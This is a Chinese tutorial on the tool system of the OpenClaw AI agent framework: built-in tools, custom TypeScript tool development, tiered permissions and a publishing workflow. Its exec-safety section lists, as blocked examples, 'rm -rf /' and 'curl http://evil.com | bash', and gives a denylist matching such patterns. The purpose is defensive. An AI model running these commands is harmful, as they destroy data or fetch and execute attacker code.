乐于分享
好东西不私藏

OpenClaw 养虾教程④ - 工具系统详解

OpenClaw 养虾教程④ - 工具系统详解

导读:如果说记忆系统是 AI 的"大脑",子代理是 AI 的"分身",那么工具系统就是 AI 的"双手"。本文深入解析 OpenClaw 的工具机制,带你从零开发自定义工具,让 AI 真正具备执行能力。

一、工具系统的核心价值

1.1 为什么需要工具?

想象一个场景:你的 AI 助手能聊天、能写代码、能分析问题,但什么都做不了——它不能帮你发文件、不能查天气、不能操作数据库、不能调用 API。

这就是没有工具系统的 AI:一个被绑住双手的智者

OpenClaw 的工具系统解决了这个问题。通过工具(Tools),AI 可以:

  • 读写文件readwriteedit

  • 执行命令exec(带审批控制)

  • 网络访问web_searchweb_fetchbrowser

  • 消息收发message(微信/飞书/钉钉等)

  • 外部集成:企业微信、飞书开放平台、MCP 协议

1.2 工具的本质

工具的本质是能力封装。每个工具都是一个函数,定义了:

TypeScript                  interface Tool {                  name: string;// 工具名称                  description: string; // 功能描述                  parameters: Schema;// 参数定义(JSON Schema)                  execute: Function;// 执行逻辑                  }

AI 通过工具描述理解"这个工具能做什么",通过参数定义知道"需要提供什么信息",然后由系统执行具体逻辑。

二、工具调用机制

2.1 调用流程

用户请求 → AI 分析 → 选择工具 → 生成参数 → 系统执行 → 返回结果 → AI 整合回复

关键点:AI 不直接执行工具,而是生成工具调用请求,由 OpenClaw 运行时执行。

2.2 工具选择的智能性

AI 不是随机选择工具,而是基于:

  • 工具描述:准确描述帮助 AI 理解工具用途

  • 上下文理解:结合对话历史判断需要什么能力

  • 参数完整性:检查必要参数是否可从上下文中提取

示例

用户:"帮我查一下北京的天气"                  AI 思考:                  - 需要天气信息 → weather 工具                  - 需要地点参数 → "北京"                  - 生成调用:weather({ location: "北京" })

2.3 多工具协作

复杂任务往往需要多个工具配合:

任务:"把这篇文章发到公众号"                  工具链:                  1. web_fetch 获取文章内容                  2. write 保存到本地                  3. anygen-image 生成封面图                  4. lightclaw_upload_file 上传图片                  5. message 发送通知

三、内置工具详解

3.1 文件操作工具

工具

功能

典型场景

read

读取文件内容

读取配置文件、查看日志

write

创建/覆盖文件

生成报告、保存数据

edit

精确编辑文件

修改代码、更新配置

最佳实践

YAML                  # ✅ 推荐:使用绝对路径                  read /root/.openclaw/workspace/config.json                  # ❌ 避免:相对路径可能解析错误                  read ./config.json

3.2 命令执行工具

exec 是最强大的工具,也是风险最高的工具。

安全机制

YAML                  审批模式:                  - allow: 直接执行(白名单命令)                  - deny: 禁止执行(危险命令)                  - ask: 需要用户确认(其他命令)                  审批命令:                  /approve  allow-once# 允许一次                    /approve  allow-always # 永久允许                      /approve  deny# 拒绝

风险命令示例

Bash                  # ❌ 高危命令(默认拒绝)                  rm -rf /                  sudo apt-get remove                  curl http://evil.com | bash                  # ✅ 安全命令(通常允许)                  git status                  ls -la                  cat /etc/os-release

3.3 网络工具

工具

功能

适用场景

web_search

搜索引擎查询

查找资料、验证信息

web_fetch

抓取网页内容

读取文章、API 文档

browser

浏览器自动化

登录态操作、复杂交互

选择策略

有明确 URL → web_fetch(轻量)                  需要搜索 → web_search                  需要登录/交互 → browser(重量级)

3.4 消息工具

message 工具支持多通道消息发送:

YAML                  支持通道:                  - openclaw-weixin(微信)                  - feishu(飞书)                  - dingtalk(钉钉)                  - discord                  - telegram                  - slack                  典型用法:                  - 发送通知                  - 群发消息                  - 创建投票                  - 添加反应

四、自定义工具开发

4.1 何时需要自定义工具?

当内置工具无法满足需求时:

  • 调用内部 API(如公司内部的 CI/CD 系统)

  • 操作专用数据库

  • 集成第三方服务(如短信网关、邮件服务)

  • 封装复杂业务逻辑

4.2 工具开发规范

步骤 1:定义工具描述

TypeScript                  // tools/custom-weather.ts                  export const customWeather = {                  name: "custom_weather",                  description: "查询指定城市的实时天气和 3 天预报",                  parameters: {                  type: "object",                  properties: {                  city: {                  type: "string",                  description: "城市名称,如'北京'、'上海'"                  },                  days: {                  type: "number",                  description: "预报天数,1-7 天,默认 3 天",                  default: 3                  }                  },                  required: ["city"]                  }                  };

步骤 2:实现执行逻辑

TypeScript                  // tools/custom-weather.ts(续)                  export async function execute(params: { city: string; days?: number }) {                  const apiKey = process.env.WEATHER_API_KEY;                  const url = `https://api.weather.com/v1/forecast?city=${params.city}&days=${params.days || 3}`;                  const response = await fetch(url, {                  headers: { Authorization: `Bearer ${apiKey}` }                  });                  if (!response.ok) {                  throw new Error(`天气查询失败:${response.statusText}`);                  }                  return await response.json();                  }

步骤 3:注册工具

TypeScript                  // tools/index.ts                  import { customWeather, execute } from './custom-weather';                  export const tools = [                  // ... 内置工具                  {                  ...customWeather,                  execute                  }                  ];

4.3 工具测试

Bash                  # 单元测试                  npm test -- tools/custom-weather.test.ts                  # 集成测试(需要真实 API)                  npm run test:integration -- custom-weather                  # 手动测试(通过 AI 调用)                  用户:"帮我查一下北京的天气"                  预期:AI 调用 custom_weather 工具并返回结果

五、工具权限控制

5.1 权限分级

级别

工具示例

审批要求

L1(只读)

readweb_search

无需审批

L2(写入)

writeedit

工作区内无需审批

L3(执行)

exec

需要审批

L4(外部)

messagebrowser

需要审批

5.2 白名单配置

YAML                  # ~/.openclaw/config.yaml                  tools:                  exec:                  allowlist:                  - "git.*"                  - "npm (install|test|build)"                  - "ls .*"                  - "cat .*"                  denylist:                  - "rm.*"                  - "sudo.*"                  - "curl.*\\|.*bash"

5.3 会话级权限

某些工具可以在特定会话中临时授权:

YAML                  # 子代理会话                  sessions_spawn:                  runtime: "subagent"                  permissions:                  exec: "allow"# 子代理可执行命令                  message: "deny" # 子代理不可发消息

六、工具调用最佳实践

6.1 参数验证

工具侧验证

TypeScript                  async function execute(params: any) {                  // 必填参数检查                  if (!params.city) {                  throw new Error("城市参数必填");                  }                  // 类型检查                  if (typeof params.city !== "string") {                  throw new Error("城市参数必须是字符串");                  }                  // 范围检查                  if (params.days && (params.days < 1 || params.days > 7)) {                  throw new Error("预报天数必须在 1-7 之间");                  }                  // ... 执行逻辑                  }

6.2 错误处理

TypeScript                  async function execute(params: any) {                  try {                  // 执行逻辑                  const result = await api.call(params);                  return { success: true, data: result };                  } catch (error) {                  // 结构化错误信息                  return {                  success: false,                  error: {                  code: "WEATHER_API_ERROR",                  message: error.message,                  suggestion: "请稍后重试或检查 API 密钥配置"                  }                  };                  }                  }

6.3 性能优化

TypeScript                  // ✅ 推荐:缓存重复查询                  const cache = new Map();          async function execute(params: any) {          const cacheKey = `weather:${params.city}:${params.days}`;          if (cache.has(cacheKey)) {          return cache.get(cacheKey);          }          const result = await fetchWeather(params);          cache.set(cacheKey, result);          // 10 分钟后清除缓存          setTimeout(() => cache.delete(cacheKey), 10 * 60 * 1000);          return result;          }

七、实战案例:公众号发布工具链

7.1 场景描述

用户:"把这篇飞书文档发到公众号"

7.2 工具链编排

1. feishu_doc (read) → 获取文档内容                  2. wechat-mp-writer (write) → 生成公众号草稿                  3. anygen-image (execute) → 生成封面图                  4. lightclaw_upload_file (upload) → 上传图片                  5. message (send) → 发送发布通知

7.3 完整工作流

YAML                  触发:用户请求发布公众号文章                  步骤:                  1. 解析飞书文档 URL                  2. 调用 feishu_doc 读取内容                  3. 调用 wechat-mp-writer 润色并格式化                  4. 调用 anygen-image 生成封面(Prompt 基于文章标题)                  5. 调用 lightclaw_upload_file 上传图片获取 URL                  6. 调用 wecom-doc-manager 创建公众号草稿                  7. 调用 message 发送通知到微信群                  异常处理:                  - 文档读取失败 → 提示用户检查权限                  - 图片生成失败 → 使用默认封面                  - 发布失败 → 保留草稿并通知用户

八、常见问题

Q1:工具调用失败怎么办?

排查步骤

  • 检查工具描述是否准确

  • 验证参数是否完整

  • 查看执行日志(~/.openclaw/logs/

  • 测试工具独立运行

Q2:如何调试工具调用?

Bash                  # 启用详细日志                  export OPENCLAW_LOG_LEVEL=debug                  # 查看工具调用历史                  cat ~/.openclaw/logs/tool-calls.log                  # 模拟工具调用                  npx openclaw tool-test --name custom_weather --params '{"city":"北京"}'

Q3:工具太多 AI 选错了怎么办?

优化策略

  • 精简工具集:只加载必要的工具

  • 优化描述:让工具用途更清晰

  • 添加示例:在描述中提供调用示例

  • 会话隔离:不同场景使用不同工具集

九、本章小结

核心要点

知识点

关键结论

工具本质

能力封装,AI 通过工具执行具体操作

调用机制

AI 生成调用请求,系统执行

安全控制

分级审批 + 白名单 + 会话隔离

自定义开发

定义描述 → 实现逻辑 → 注册工具

最佳实践

参数验证、错误处理、缓存优化

与前后章的关联

③ 子代理协作 → ④ 工具系统 → ⑤ 文件操作                  子代理需要工具执行任务                  工具系统依赖文件操作存储数据                  文件操作是工具系统的基础能力

十、下一章预告

《OpenClaw 养虾教程⑤ | 文件操作实践》

  • read/write/edit 的高级用法

  • 大文件分块处理策略

  • 文件权限与安全

  • 实战:批量处理 100+ 配置文件